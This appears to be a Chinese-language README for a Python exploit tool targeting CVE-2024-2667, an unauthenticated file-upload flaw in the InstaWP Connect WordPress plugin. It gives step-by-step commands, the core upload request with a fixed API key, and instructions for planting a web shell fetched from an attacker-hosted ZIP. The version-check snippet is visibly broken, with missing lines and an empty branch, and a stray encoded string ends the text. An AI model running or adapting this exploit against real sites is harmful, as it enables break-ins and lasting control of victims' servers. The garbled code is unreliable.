InstaWP Connect 漏洞利用工具 (CVE-2024-2667)

11 阅读3分钟

InstaWP Connect 漏洞利用工具 (CVE-2024-2667)

项目描述

本项目是一个针对 WordPress 插件 InstaWP Connect – 1-click WP Staging & Migration 的安全检测与利用工具。该插件在 0.1.0.22 及之前的所有版本中,由于 /wp-json/instawp-connect/v1/config REST API 端点缺乏足够的文件验证,存在未经身份验证的任意文件上传漏洞(CVE-2024-2667)。本工具能够自动检测目标站点是否运行受影响版本,并可利用该漏洞上传恶意插件 ZIP 包,最终实现 Web Shell 部署。

功能特性

  • 漏洞判定:基于检测到的版本号(≤ 0.1.0.22)自动判定目标是否易受攻击。
  • 任意文件上传:通过构造特制的 API 请求,向目标站点上传任意 ZIP 格式的恶意插件包。
  • Web Shell 部署:成功上传后,攻击者可通过 wp-content/plugins/instawp-connect/shell.php 路径访问上传的 Web Shell。
  • 命令行友好:支持通过简洁的命令行参数指定目标 URL 和恶意插件 URL,便于集成到自动化测试流程。

安装指南

系统要求

  • Python 3.6 或更高版本
  • 网络连接(用于向目标站点发起 HTTP 请求)

依赖安装

使用 pip 安装所需的 Python 库:

pip install requests

注意:本工具仅依赖 requests 库进行 HTTP 通信,beautifulsoup4 为可选依赖(当前版本未使用)。

获取工具

将脚本保存为 CVE-2024-2667.py 或直接使用提供的 Python 文件。

使用说明

基础用法

python CVE-2024-2667.py -up <恶意插件ZIP的URL> -u <目标WordPress站点URL>

参数说明

参数长参数说明示例
-up--url_plugin恶意插件 ZIP 文件的公开 URLhttp://attacker.com/malicious.zip
-u--url_target目标 WordPress 站点的根 URLhttp://victim.com/

典型使用场景

场景一:仅检测漏洞

如果只想检测目标站点是否运行易受攻击的插件版本,可以提供一个占位符作为 -up 参数:

python CVE-2024-2667.py -up http://example.com/dummy.zip -u http://victim.com/

工具会输出检测到的版本及漏洞判定结果,但不会实际触发文件上传(因为提供的 ZIP URL 可能无效)。

场景二:完整漏洞利用

准备一个包含 Web Shell(如 shell.php)的恶意插件 ZIP 文件,并将其托管在可公开访问的 HTTP 服务器上。然后执行:

python CVE-2024-2667.py -up http://attacker-server.com/malicious-plugin.zip -u http://victim.com/

成功上传后,Web Shell 将位于:

http://victim.com/wp-content/plugins/instawp-connect/shell.php

输出示例

Plugin URL: http://attacker-server.com/malicious-plugin.zip
Target URL: http://victim.com/
Detected version: 0.1.0.20
The site is vulnerable.
Response:
{'status': 'success', 'message': 'Plugin uploaded successfully.'}

帮助信息

查看完整命令行帮助:

python CVE-2024-2667.py -h

核心代码

版本检测模块

def check_version(url):

    try:


        if response.status_code == 200:
            content = response.text
            if "Stable tag:" in content:
                for line in content.splitlines():
                    if "Stable tag:" in line:
                        version = line.split(":")[1].strip()
                        print(f"Detected version: {version}")
                        if version <= "0.1.0.22":
                            print("The site is vulnerable.")
                        else:
                            print("The site is not vulnerable.")
                        return

        else:

    except requests.exceptions.RequestException as e:
        print(f"An error occurred while checking the version: {e}")

漏洞利用核心请求

def main():
    # ... 参数解析与 URL 验证 ...
    
    # 构造恶意上传请求的数据包
    data = {
        "api_key": "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
        "override_plugin_zip": url_plugin   # 指向攻击者托管的恶意 ZIP 文件
    }

    # 目标 REST API 端点
    url = f"{url_target}?rest_route=/instawp-connect/v1/config"

    try:
        response = requests.post(url, data=data, timeout=10)

        if response.status_code == 200:
            try:
                print("Response:")
                print(response.json())  # 输出服务器返回的 JSON 信息
            except ValueError as e:
                print("Error parsing JSON:", e)
        else:
            print(f"Request failed with status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"An error occurred while sending the request: {e}")

URL 辅助函数

def validate_url(url):
    """确保 URL 包含 http:// 或 https:// 协议前缀。"""
    parsed_url = urlparse(url)
    if not parsed_url.scheme:
        url = f"http://{url}"
    return url

6HFtX5dABrKlqXeO5PUv/+dNRetSg48tSBICWHeZmzP3IPmAOyG3N67+bXXU/OoS